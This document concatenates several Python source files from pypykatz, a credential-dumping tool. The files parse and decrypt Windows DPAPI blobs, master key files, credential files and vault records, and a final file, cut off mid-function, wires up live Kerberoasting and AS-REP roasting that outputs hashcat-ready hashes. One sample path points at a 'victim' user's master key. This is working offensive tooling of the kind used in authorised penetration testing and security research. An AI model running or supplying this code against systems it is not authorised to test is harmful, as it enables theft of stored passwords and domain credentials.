107 mode=ALGORITHMS_DATA[self.crypto_algorithm][2], iv=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3])
108 cleartext = unpad(cipher.decrypt(self.data), cipher.block_size)
109
110 # Calculate the different HMACKeys
111 hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][1]().block_size
112 key_hash_2 = key_hash + b"\x00"*hash_block_size
113 ipad = bytearray([i ^ 0x36 for i in bytearray(key_hash_2)][:hash_block_size])
114 opad = bytearray([i ^ 0x5c for i in bytearray(key_hash_2)][:hash_block_size])
115 a = ALGORITHMS_DATA[self.hash_algorithm][1](ipad)
116 a.update(self.HMAC)
117
118 #print('key_hash_2 : %s' % key_hash_2)
119 #print('ipad : %s' % ipad)
120 #print('opad : %s' % opad)
121
122 hmac_calculated_1 = ALGORITHMS_DATA[self.hash_algorithm][1](opad)
123 hmac_calculated_1.update(a.digest())
124
125 if entropy is not None:
126 hmac_calculated_1.update(entropy)
127
128 hmac_calculated_1.update(self.to_sign)
129
130 #print('hmac_calculated_1 : %s' % hmac_calculated_1.hexdigest())
131
132 hmac_calculated_3 = hmac.new(key_hash, self.HMAC, ALGORITHMS_DATA[self.hash_algorithm][1])
133 if entropy is not None:
134 hmac_calculated_3.update(entropy)
135
136 hmac_calculated_3.update(self.to_sign)
137
138 #print('hmac_calculated_3 : %s' % hmac_calculated_3.hexdigest())
139
140 if hmac_calculated_1.digest() == self.signature or hmac_calculated_3.digest() == self.signature:
141 return cleartext
142 else:
143 return None
144
145 def __str__(self):
146 t = '== DPAPI_BLOB ==\r\n'
147 for k in self.__dict__:
148 if isinstance(self.__dict__[k], list):
149 for i, item in enumerate(self.__dict__[k]):
150 t += ' %s: %s: %s' % (k, i, str(item))
151 else:
152 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
153 return t
154
155 if __name__ == '__main__':
156 data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dc64974c99aa6c43bb30ff39b3dd407c0000000002000000000003660000c000000010000000f1af675a51c8283cf81abb6fb600110f0000000004800000a0000000100000009bf4e56d6c32dd59bce655496a94444c1000000088438c8f61d966ac220b4ca50933c8ee14000000314eaa780e358e70c586fb47bee0e27549be480e')
157 db = DPAPI_BLOB.from_bytes(data)
158 print(str(db))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7 import enum
8
9 from pypykatz.dpapi.structures.blob import DPAPI_BLOB
10
11 class CredentialFile:
12 """
13 """
14 def __init__(self):
15 self.version = None
16 self.size = None
17 self.unk = None
18 self.data = None
19
20 #not in the spec
21 self.blob = None
22
23 @staticmethod
24 def from_bytes(data):
25 return CredentialFile.from_buffer(io.BytesIO(data))
26
27 @staticmethod
28 def from_buffer(buff):
29 sk = CredentialFile()
30 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
31 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
32 sk.unk = int.from_bytes(buff.read(4), 'little', signed = False)
33 sk.data = buff.read(sk.size)
34 sk.blob = DPAPI_BLOB.from_bytes(sk.data)
35 return sk
36
37 def __str__(self):
38 t = '== CredentialFile ==\r\n'
39 for k in self.__dict__:
40 if isinstance(self.__dict__[k], list):
41 for i, item in enumerate(self.__dict__[k]):
42 t += ' %s: %s: %s' % (k, i, str(item))
43 else:
44 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
45 return t
46
47 class CREDENTIAL_ATTRIBUTE:
48 """
49 """
50 def __init__(self):
51 self.flags = None
52 self.keyword_length = None
53 self.keyword = None
54 self.data_length = None
55 self.data = None
56
57 @staticmethod
58 def from_bytes(data):
59 return CREDENTIAL_ATTRIBUTE.from_buffer(io.BytesIO(data))
60
61 @staticmethod
62 def from_buffer(buff):
63 sk = CREDENTIAL_ATTRIBUTE()
64 sk.flags = int.from_bytes(buff.read(4), 'little', signed = False)
65 sk.keyword_length = int.from_bytes(buff.read(4), 'little', signed = False)
66 sk.keyword = buff.read(sk.keyword_length)
67 try:
68 sk.keyword = sk.keyword.decode('utf-16-le')
69 except:
70 pass
71 sk.data_length = int.from_bytes(buff.read(4), 'little', signed = False)
72 sk.data = buff.read(sk.data_length)
73 return sk
74
75 def to_text(self):
76 t = ''
77 if len(self.keyword) > 0:
78 t += 'keyword: %s\r\n' % str(self.keyword)
79 if len(self.data) > 0:
80 t += 'data: %s\r\n' % str(self.data)
81 return t
82
83 def __str__(self):
84 t = '== CREDENTIAL_ATTRIBUTE ==\r\n'
85 for k in self.__dict__:
86 if isinstance(self.__dict__[k], list):
87 for i, item in enumerate(self.__dict__[k]):
88 t += ' %s: %s: %s' % (k, i, str(item))
89 else:
90 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
91 return t
92
93
94 class CREDENTIAL_BLOB:
95 """
96 """
97 def __init__(self):
98 self.flags = None
99 self.size = None
100 self.unk0 = None
101 self.type = None
102 self.flags2 = None
103 self.last_written = None
104 self.unk1 = None
105 self.persist = None
106 self.attributes_count = None
107 self.unk2 = None
108 self.target_length = None
109 self.target = None
110 self.target_alias_length = None
111 self.target_alias = None
112 self.description_length = None
113 self.description = None
114 self.unknown3_length = None
115 self.unknown3 = None
116 self.username_length = None
117 self.username = None
118 self.unknown4_length = None
119 self.unknown4 = None
120
121 self.attributes = []
122
123
124
125 @staticmethod
126 def from_bytes(data):
127 return CREDENTIAL_BLOB.from_buffer(io.BytesIO(data))
128
129 @staticmethod
130 def from_buffer(buff):
131 sk = CREDENTIAL_BLOB()
132 sk.flags = int.from_bytes(buff.read(4), 'little', signed = False)
133 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
134 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
135 sk.type = int.from_bytes(buff.read(4), 'little', signed = False)
136 sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False)
137 sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False)
138 sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
139 sk.persist = int.from_bytes(buff.read(4), 'little', signed = False)
140 sk.attributes_count = int.from_bytes(buff.read(4), 'little', signed = False)
141 sk.unk2 = int.from_bytes(buff.read(8), 'little', signed = False)
142 sk.target_length = int.from_bytes(buff.read(4), 'little', signed = False)
143 sk.target = buff.read(sk.target_length)
144 if sk.target_length > 0:
145 try:
146 sk.target = sk.target.decode('utf-16-le')
147 except:
148 pass
149 sk.target_alias_length = int.from_bytes(buff.read(4), 'little', signed = False)
150 sk.target_alias = buff.read(sk.target_alias_length)
151 if sk.target_alias_length > 0:
152 try:
153 sk.target_alias = sk.target_alias.decode('utf-16-le')
154 except:
155 pass
156 sk.description_length = int.from_bytes(buff.read(4), 'little', signed = False)
157 sk.description = buff.read(sk.description_length)
158 if sk.description_length > 0:
159 try:
160 sk.description = sk.description.decode('utf-16-le')
161 except:
162 pass
163 sk.unknown3_length = int.from_bytes(buff.read(4), 'little', signed = False)
164 sk.unknown3 = buff.read(sk.unknown3_length)
165 sk.username_length = int.from_bytes(buff.read(4), 'little', signed = False)
166 sk.username = buff.read(sk.username_length)
167 if sk.username_length > 0:
168 try:
169 sk.username = sk.username.decode('utf-16-le')
170 except:
171 pass
172 sk.unknown4_length = int.from_bytes(buff.read(4), 'little', signed = False)
173 sk.unknown4 = buff.read(sk.unknown4_length)
174
175 for _ in range(sk.attributes_count):
176 attr = CREDENTIAL_ATTRIBUTE.from_buffer(buff)
177 sk.attributes.append(attr)
178
179 return sk
180
181 def to_text(self):
182 t = ''
183 t += 'last_written : %s\r\n' % self.last_written
184 if len(self.target) > 0:
185 t += 'target : %s\r\n' % str(self.target)
186 if len(self.target_alias) > 0:
187 t += 'target_alias : %s\r\n' % str(self.target_alias)
188 if len(self.description) > 0:
189 t += 'description : %s\r\n' % str(self.description)
190 if len(self.unknown3) > 0:
191 t += 'unknown3 : %s\r\n' % str(self.unknown3)
192 if len(self.username) > 0:
193 t += 'username : %s\r\n' % str(self.username)
194 if len(self.unknown4) > 0:
195 t += 'unknown4 : %s\r\n' % str(self.unknown4)
196 for attr in self.attributes:
197 t += 'ATTRIBUTE\r\n'
198 t += attr.to_text()
199 return t
200
201 def __str__(self):
202 t = '== CREDENTIAL_BLOB ==\r\n'
203 for k in self.__dict__:
204 if isinstance(self.__dict__[k], list):
205 for i, item in enumerate(self.__dict__[k]):
206 t += ' %s: %s: %s' % (k, i, str(item))
207 else:
208 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
209 return t
210
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7 import enum
8 import sys
9
10 from pypykatz.dpapi.constants import *
11 from hashlib import sha1
12 import hmac
13
14
15 class CredHist:
16 """
17 """
18 def __init__(self):
19 self.version = None
20 self.guid = None
21
22 @staticmethod
23 def from_bytes(data):
24 return CredHist.from_buffer(io.BytesIO(data))
25
26 @staticmethod
27 def from_buffer(buff):
28 sk = CredHist()
29 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
30 sk.guid = buff.read(16)
31 return sk
32
33 def __str__(self):
34 t = '== CredHist ==\r\n'
35 for k in self.__dict__:
36 if isinstance(self.__dict__[k], list):
37 for i, item in enumerate(self.__dict__[k]):
38 t += ' %s: %s: %s' % (k, i, str(item))
39 else:
40 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
41 return t
42
43 class DomainKey:
44 """
45 """
46 def __init__(self):
47 self.version = None
48 self.secret_length = None
49 self.access_check_length = None
50 self.guid = None
51 self.secret = None
52 self.access_check = None
53
54 @staticmethod
55 def from_bytes(data):
56 return DomainKey.from_buffer(io.BytesIO(data))
57
58 @staticmethod
59 def from_buffer(buff):
60 sk = DomainKey()
61 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
62 sk.secret_length = int.from_bytes(buff.read(4), 'little', signed = False)
63 sk.access_check_length = int.from_bytes(buff.read(4), 'little', signed = False)
64 sk.guid = buff.read(16)
65 sk.secret = buff.read(sk.secret_length)
66 sk.access_check = buff.read(sk.access_check_length)
67 return sk
68
69 def __str__(self):
70 t = '== DomainKey ==\r\n'
71 for k in self.__dict__:
72 if isinstance(self.__dict__[k], list):
73 for i, item in enumerate(self.__dict__[k]):
74 t += ' %s: %s: %s' % (k, i, str(item))
75 else:
76 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
77 return t
78
79 class MasterKey:
80 """
81 Represents a key, which can be for a masterkey or backupkey
82 """
83 def __init__(self):
84 self.version = None
85 self.salt = None
86 self.iteration_count = None
87 self.hash_algorithm = None
88 self.crypto_algorithm = None
89 self.data = None
90
91 @staticmethod
92 def from_bytes(data):
93 return MasterKey.from_buffer(io.BytesIO(data))
94
95 @staticmethod
96 def from_buffer(buff):
97 sk = MasterKey()
98 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
99 sk.salt = buff.read(16)
100 sk.iteration_count = int.from_bytes(buff.read(4), 'little', signed = False)
101 sk.hash_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False))
102 sk.crypto_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False))
103 sk.data = buff.read()
104 return sk
105
106 def decrypt(self, key):
107 if self.hash_algorithm == ALGORITHMS.CALG_HMAC:
108 hash_type = sha1
109 else:
110 hash_type = ALGORITHMS_DATA[self.hash_algorithm][1]
111
112 keylen = ALGORITHMS_DATA[self.crypto_algorithm][0] + ALGORITHMS_DATA[self.crypto_algorithm][3]
113
114 temp_key_blob = b""
115 i = 1
116 while len(temp_key_blob) < keylen:
117 U = self.salt + i.to_bytes(4, 'big', signed = False)
118 i += 1
119 derived = hmac.new(key, U, hash_type).digest()
120 for _ in range(self.iteration_count - 1):
121 actual = hmac.new(key,derived, hash_type).digest()
122 derived = (int.from_bytes(derived, sys.byteorder) ^ int.from_bytes(actual, sys.byteorder)).to_bytes(len(actual), sys.byteorder)
123 temp_key_blob += derived
124
125 temp_key = temp_key_blob[:keylen]
126 #print('temp_key : %s' % temp_key)
127 crypt_key = temp_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]]
128 iv = temp_key[ALGORITHMS_DATA[self.crypto_algorithm][0]:][:ALGORITHMS_DATA[self.crypto_algorithm][3]]
129 cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], iv = iv)
130
131 cleartext = cipher.decrypt(self.data)
132 key_dec = cleartext[-64:]
133 hmac_salt = cleartext[:16]
134 hmac_res = cleartext[16:][:ALGORITHMS_DATA[self.hash_algorithm][0]]
135
136 hmac_key = hmac.new(key, hmac_salt, hash_type).digest()
137 hmac_calc = hmac.new(hmac_key, key_dec, hash_type).digest()
138 #print(hmac_calc)
139 #print(hmac_res)
140 if hmac_calc[:ALGORITHMS_DATA[self.hash_algorithm][0]] == hmac_res:
141 return key_dec
142 else:
143 return None
144
145 def __str__(self):
146 t = '== MasterKey ==\r\n'
147 for k in self.__dict__:
148 if isinstance(self.__dict__[k], list):
149 for i, item in enumerate(self.__dict__[k]):
150 t += ' %s: %s: %s' % (k, i, str(item))
151 else:
152 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
153 return t
154
155
156 class MasterKeyFile:
157 """
158 A masterkeyfile is a file that can hold multiple different keys, namely the masterkey, backupkey, credential history key, domainkey.
159 Not necessarily all of them present in a file
160 """
161 def __init__(self):
162 self.version = None
163 self.unk1 = None
164 self.unk2 = None
165 self.guid = None
166 self.unk3 = None
167 self.policy = None
168 self.flags = None
169 self.masterkey_length = None
170 self.backupkey_length = None
171 self.credhist_length = None
172 self.domainkey_length = None
173
174 self.masterkey = None
175 self.backupkey = None
176 self.credhist = None
177 self.domainkey = None
178
179 @staticmethod
180 def from_bytes(data):
181 return MasterKeyFile.from_buffer(io.BytesIO(data))
182
183 @staticmethod
184 def from_buffer(buff):
185 sk = MasterKeyFile()
186 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
187 sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
188 sk.unk2 = int.from_bytes(buff.read(4), 'little', signed = False)
189 sk.guid = buff.read(72).decode('utf-16-le')
190 sk.unk3 = int.from_bytes(buff.read(4), 'little', signed = False)
191 sk.policy = int.from_bytes(buff.read(4), 'little', signed = False)
192 sk.flags = int.from_bytes(buff.read(4), 'little', signed = False)
193 sk.masterkey_length = int.from_bytes(buff.read(8), 'little', signed = False)
194 sk.backupkey_length = int.from_bytes(buff.read(8), 'little', signed = False)
195 sk.credhist_length = int.from_bytes(buff.read(8), 'little', signed = False)
196 sk.domainkey_length = int.from_bytes(buff.read(8), 'little', signed = False)
197
198 if sk.masterkey_length > 0:
199 sk.masterkey = MasterKey.from_bytes(buff.read(sk.masterkey_length))
200 if sk.backupkey_length > 0:
201 sk.backupkey = MasterKey.from_bytes(buff.read(sk.backupkey_length))
202 if sk.credhist_length > 0:
203 sk.credhist = CredHist.from_bytes(buff.read(sk.credhist_length))
204 if sk.domainkey_length > 0:
205 sk.domainkey = DomainKey.from_bytes(buff.read(sk.domainkey_length))
206
207
208 return sk
209
210 def __str__(self):
211 t = '== MasterKeyFile ==\r\n'
212 for k in self.__dict__:
213 if isinstance(self.__dict__[k], list):
214 for i, item in enumerate(self.__dict__[k]):
215 t += ' %s: %s: %s' % (k, i, str(item))
216 else:
217 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
218 return t
219
220
221
222 if __name__ == '__main__':
223 filename = 'C:\\Users\\victim\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3448413973-1765323015-1500960949-1105\\4c9764dc-aa99-436c-bb30-ff39b3dd407c'
224 with open(filename, 'rb') as f:
225 mkf = MasterKeyFile.from_bytes(f.read())
226
227 print(str(mkf))
228
229
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7 import enum
8
9
10 class DPAPI_SYSTEM:
11 def __init__(self):
12 self.version = None
13 self.machine_key = None
14 self.user_key = None
15
16 @staticmethod
17 def from_bytes(data):
18 return DPAPI_SYSTEM.from_buffer(io.BytesIO(data))
19
20 @staticmethod
21 def from_buffer(buff):
22 sk = DPAPI_SYSTEM()
23 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
24 sk.machine_key = buff.read(20)
25 sk.user_key = buff.read(20)
26 return sk
27
28 def __str__(self):
29 t = '== DPAPI_SYSTEM ==\r\n'
30 for k in self.__dict__:
31 if isinstance(self.__dict__[k], list):
32 for i, item in enumerate(self.__dict__[k]):
33 t += ' %s: %s: %s' % (k, i, str(item))
34 else:
35 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
36 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7 import enum
8 from pypykatz.commons.win_datatypes import GUID
9 from pypykatz.dpapi.structures.blob import DPAPI_BLOB
10
11 class VAULT_ATTRIBUTE_MAP_ENTRY:
12 def __init__(self):
13 self.id = None
14 self.offset = None
15 self.unk0 = None
16
17 @staticmethod
18 def from_bytes(data):
19 return VAULT_ATTRIBUTE_MAP_ENTRY.from_buffer(io.BytesIO(data))
20
21 @staticmethod
22 def from_buffer(buff):
23 sk = VAULT_ATTRIBUTE_MAP_ENTRY()
24 sk.id = int.from_bytes(buff.read(4), 'little', signed = False)
25 sk.offset = int.from_bytes(buff.read(4), 'little', signed = False)
26 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
27 return sk
28
29 def __str__(self):
30 t = '== VAULT_ATTRIBUTE_MAP_ENTRY ==\r\n'
31 for k in self.__dict__:
32 if isinstance(self.__dict__[k], list):
33 for i, item in enumerate(self.__dict__[k]):
34 t += ' %s: %s: %s' % (k, i, str(item))
35 else:
36 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
37 return t
38
39 class VAULT_ATTRIBUTE:
40 def __init__(self):
41 self.id = None
42 self.unk0 = None
43 self.unk1 = None
44 self.unk2 = None
45
46 self.padding = None
47 self.unk3 = None
48
49 self.size = None
50 self.iv_present = None
51 self.iv_size = None
52 self.iv = None
53 self.data = None
54
55 @staticmethod
56 def from_bytes(data):
57 return VAULT_ATTRIBUTE.from_buffer(io.BytesIO(data))
58
59 @staticmethod
60 def from_buffer(buff):
61 pos = buff.tell()
62 buff.seek(-1, 2)
63 size = buff.tell() - pos
64 buff.seek(pos, 0)
65
66 sk = VAULT_ATTRIBUTE()
67 sk.id = int.from_bytes(buff.read(4), 'little', signed = False)
68 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
69 sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
70 sk.unk2 = int.from_bytes(buff.read(4), 'little', signed = False)
71
72 if size > 20:
73 pos = buff.tell()
74 test = buff.read(6)
75 if test == b'\x00'*6:
76 sk.padding = test
77 else:
78 buff.seek(pos, 0)
79
80 if sk.id >= 100:
81 sk.unk3 = int.from_bytes(buff.read(4), 'little', signed = False)
82
83 if size > 25:
84 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
85 sk.iv_present = bool(buff.read(1)[0])
86 if sk.iv_present:
87 sk.iv_size = int.from_bytes(buff.read(4), 'little', signed = False)
88 sk.iv = buff.read(sk.iv_size)
89 sk.data = buff.read(sk.size - (sk.iv_size + 5))
90 else:
91 sk.data = buff.read(sk.size - 1 )
92
93 return sk
94
95 def __str__(self):
96 t = '== VAULT_ATTRIBUTE ==\r\n'
97 for k in self.__dict__:
98 if isinstance(self.__dict__[k], list):
99 for i, item in enumerate(self.__dict__[k]):
100 t += ' %s: %s: %s' % (k, i, str(item))
101 else:
102 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
103 return t
104
105
106 class VAULT_VCRD:
107 """
108 """
109 def __init__(self):
110 self.schema_guid = None
111 self.unk0 = None
112 self.last_written = None
113 self.unk1 = None
114 self.unk2 = None
115 self.friendlyname_length = None
116 self.friendlyname = None
117 self.attribute_maps_length = None
118 self.attribute_maps = None
119
120 self.vames = []
121 self.attributes = []
122
123 @staticmethod
124 def from_bytes(data):
125 return VAULT_VCRD.from_buffer(io.BytesIO(data))
126
127 @staticmethod
128 def from_buffer(buff):
129 sk = VAULT_VCRD()
130 sk.schema_guid = GUID(buff).value
131 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
132 sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False)
133 sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
134 sk.unk2 = int.from_bytes(buff.read(4), 'little', signed = False)
135 sk.friendlyname_length = int.from_bytes(buff.read(4), 'little', signed = False)
136 sk.friendlyname = buff.read(sk.friendlyname_length)
137 if sk.friendlyname_length > 0:
138 try:
139 sk.friendlyname = sk.friendlyname.decode('utf-16-le')
140 except:
141 pass
142 sk.attribute_maps_length = int.from_bytes(buff.read(4), 'little', signed = False)
143 sk.attribute_maps = buff.read(sk.attribute_maps_length)
144
145 sk.attributes = []
146 db = io.BytesIO(sk.attribute_maps)
147 for _ in range(sk.attribute_maps_length // 12):
148 vame = VAULT_ATTRIBUTE_MAP_ENTRY.from_buffer(db)
149 sk.vames.append(vame)
150
151 i = 0
152 while i < len(sk.vames) - 1:
153 buff.seek(sk.vames[i].offset)
154 data = buff.read(sk.vames[i+1].offset - sk.vames[i].offset)
155 va = VAULT_ATTRIBUTE.from_bytes(data)
156 sk.attributes.append(va)
157 i+=1
158
159 va = VAULT_ATTRIBUTE.from_buffer(buff)
160 sk.attributes.append(va)
161 return sk
162
163 def __str__(self):
164 t = '== VAULT_VCRD ==\r\n'
165 for k in self.__dict__:
166 if isinstance(self.__dict__[k], list):
167 for i, item in enumerate(self.__dict__[k]):
168 t += ' %s: %s: %s' % (k, i, str(item))
169 else:
170 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
171 return t
172
173 class VAULT_VPOL:
174 def __init__(self):
175 self.version = None
176 self.guid = None
177 self.description_length = None
178 self.description = None
179 self.unk0 = None
180 self.size = None
181 self.guid2 = None
182 self.guid3 = None
183 self.key_size = None
184 self.blob = None #encrypted VAULT_VPOL_KEYS
185
186 @staticmethod
187 def from_bytes(data):
188 return VAULT_VPOL.from_buffer(io.BytesIO(data))
189
190 @staticmethod
191 def from_buffer(buff):
192 sk = VAULT_VPOL()
193 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
194 sk.guid = GUID(buff).value
195 sk.description_length = int.from_bytes(buff.read(4), 'little', signed = False)
196 sk.description = buff.read(sk.description_length)
197 sk.unk0 = buff.read(12)
198 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
199 sk.guid2 = GUID(buff).value
200 sk.guid3 = GUID(buff).value
201 sk.key_size = int.from_bytes(buff.read(4), 'little', signed = False)
202 sk.blob = DPAPI_BLOB.from_bytes(buff.read(sk.key_size))
203
204 return sk
205
206 def __str__(self):
207 t = '== VAULT_VPOL ==\r\n'
208 for k in self.__dict__:
209 if isinstance(self.__dict__[k], list):
210 for i, item in enumerate(self.__dict__[k]):
211 t += ' %s: %s: %s' % (k, i, str(item))
212 else:
213 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
214 return t
215
216 class VAULT_VPOL_KEYS:
217 def __init__(self):
218 self.key1 = None
219 self.key2 = None
220
221 @staticmethod
222 def from_bytes(data):
223 return VAULT_VPOL_KEYS.from_buffer(io.BytesIO(data))
224
225 @staticmethod
226 def from_buffer(buff):
227 sk = VAULT_VPOL_KEYS()
228 res = []
229 for _ in range(2):
230 test = buff.read(1)
231 buff.seek(-1,1)
232 if test == b'\x24' or test == b'\x34':
233 res.append(KDBM.from_buffer(buff))
234 else:
235 res.append(KSSM.from_buffer(buff))
236 sk.key1 = res[0]
237 sk.key2 = res[1]
238 return sk
239
240 def __str__(self):
241 t = '== VAULT_VPOL_KEYS ==\r\n'
242 for k in self.__dict__:
243 if isinstance(self.__dict__[k], list):
244 for i, item in enumerate(self.__dict__[k]):
245 t += ' %s: %s: %s' % (k, i, str(item))
246 else:
247 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
248 return t
249
250 class KDBM:
251 def __init__(self):
252 self.size = None
253 self.version = None
254 self.unk0 = None
255 self.keyblob = None
256
257 def get_key(self):
258 return self.keyblob.key
259
260 @staticmethod
261 def from_bytes(data):
262 return KDBM.from_buffer(io.BytesIO(data))
263
264 @staticmethod
265 def from_buffer(buff):
266 from pypykatz.commons.common import hexdump
267 sk = KDBM()
268 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
269 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
270 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
271 sk.keyblob = BCRYPT_KEY_DATA_BLOB_HEADER.from_bytes(buff.read(sk.size - 8))
272 return sk
273
274 def __str__(self):
275 t = '== KDBM ==\r\n'
276 for k in self.__dict__:
277 if isinstance(self.__dict__[k], list):
278 for i, item in enumerate(self.__dict__[k]):
279 t += ' %s: %s: %s' % (k, i, str(item))
280 else:
281 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
282 return t
283
284 class KSSM:
285 def __init__(self):
286 self.size = None
287 self.version = None
288 self.unk0 = None
289 self.keyblob = None
290
291 def get_key(self):
292 return self.keyblob
293
294 @staticmethod
295 def from_bytes(data):
296 return KSSM.from_buffer(io.BytesIO(data))
297
298 @staticmethod
299 def from_buffer(buff):
300 sk = KSSM()
301 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
302 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
303 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
304 sk.keyblob = buff.read(sk.size - 8)
305
306 return sk
307
308 def __str__(self):
309 t = '== KSSM ==\r\n'
310 for k in self.__dict__:
311 if isinstance(self.__dict__[k], list):
312 for i, item in enumerate(self.__dict__[k]):
313 t += ' %s: %s: %s' % (k, i, str(item))
314 else:
315 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
316 return t
317
318 class BCRYPT_KEY_DATA_BLOB_HEADER:
319 def __init__(self):
320 self.magic = None
321 self.version = None
322 self.key_data= None
323 self.key = None
324
325 @staticmethod
326 def from_bytes(data):
327 return BCRYPT_KEY_DATA_BLOB_HEADER.from_buffer(io.BytesIO(data))
328
329 @staticmethod
330 def from_buffer(buff):
331 sk = BCRYPT_KEY_DATA_BLOB_HEADER()
332 sk.magic = int.from_bytes(buff.read(4), 'little', signed = False)
333 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
334 sk.key_data = int.from_bytes(buff.read(4), 'little', signed = False)
335 sk.key = buff.read(sk.key_data)
336
337 return sk
338
339 def __str__(self):
340 t = '== BCRYPT_KEY_DATA_BLOB_HEADER ==\r\n'
341 for k in self.__dict__:
342 if isinstance(self.__dict__[k], list):
343 for i, item in enumerate(self.__dict__[k]):
344 t += ' %s: %s: %s' % (k, i, str(item))
345 else:
346 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
347 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz import logging
7
8 """
9 Kerberos is not part of pypykatz directly.
10 This is a wrapper for minikerberos and winsspi packages
11 """
12
13 class KerberosCMDHelper:
14 def __init__(self):
15 self.live_keywords = ['kerberos']
16 self.keywords = []
17
18 def add_args(self, parser, live_parser):
19 live_group = live_parser.add_parser('kerberos', help='Kerberos (live) related commands')
20 live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)')
21 live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.')
22 live_group.add_argument('cmd', choices=['spnroast', 'asreproast'])
23 live_group.add_argument('-o','--out-file', help= 'File to stroe results in')
24 live_group.add_argument('-t','--target-file', help= 'List of target users to roast. One user per line. Format: asreproast->username spnroast->domain/username')
25 live_group.add_argument('-u','--target-user', action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
26 live_group.add_argument('-r','--realm', help= 'Kerberos Realm.')
27
28
29 def execute(self, args):
30 if len(self.keywords) > 0 and args.command in self.keywords:
31 self.run(args)
32
33 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
34 self.run_live(args)
35
36
37 def run_live(self, args):
38 from winsspi.sspi import KerberoastSSPI
39 from minikerberos.security import TGSTicket2hashcat, APREPRoast
40 from minikerberos.utils import TGTTicket2hashcat
41 from minikerberos.communication import KerberosSocket
42 from minikerberos.common import KerberosTarget
43 from pypykatz.commons.winapi.machine import LiveMachine
44
45 if not args.target_file and not args.target_user:
46 raise Exception('No targets loaded! Either -u or -t MUST be specified!')
47
48 machine = LiveMachine()
49
50 realm = args.realm
51 if not args.realm:
52 realm = machine.get_domain()
53
54 if args.cmd in ['spnroast','asreproast']:
55 targets = []
56 if args.target_file:
57 with open(args.target_file, 'r') as f:
58 for line in f:
59 line = line.strip()
60 domain = None
61 username = None
62 if line.find('/') != -1:
63 #we take for granted that usernames do not have the char / in them!
64 domain, username = line.split('/')
65 else:
66 username = line
67
68 if args.realm:
69 domain = args.realm
70 else:
71 if domain is None:
72 raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
73
74 target = KerberosTarget()
75 target.username = username
76 target.domain = domain
77 targets.append(target)
78
79 if args.target_user:
80 for user in args.target_user:
81 domain = None
82 username = None
83 if user.find('/') != -1:
84 #we take for granted that usernames do not have the char / in them!
85 domain, username = user.split('/')
86 else:
87 username = user
88
89 if args.realm:
90 domain = args.realm
91 else:
92 if domain is None:
93 raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
94 target = KerberosTarget()
95 target.username = username
96 target.domain = domain
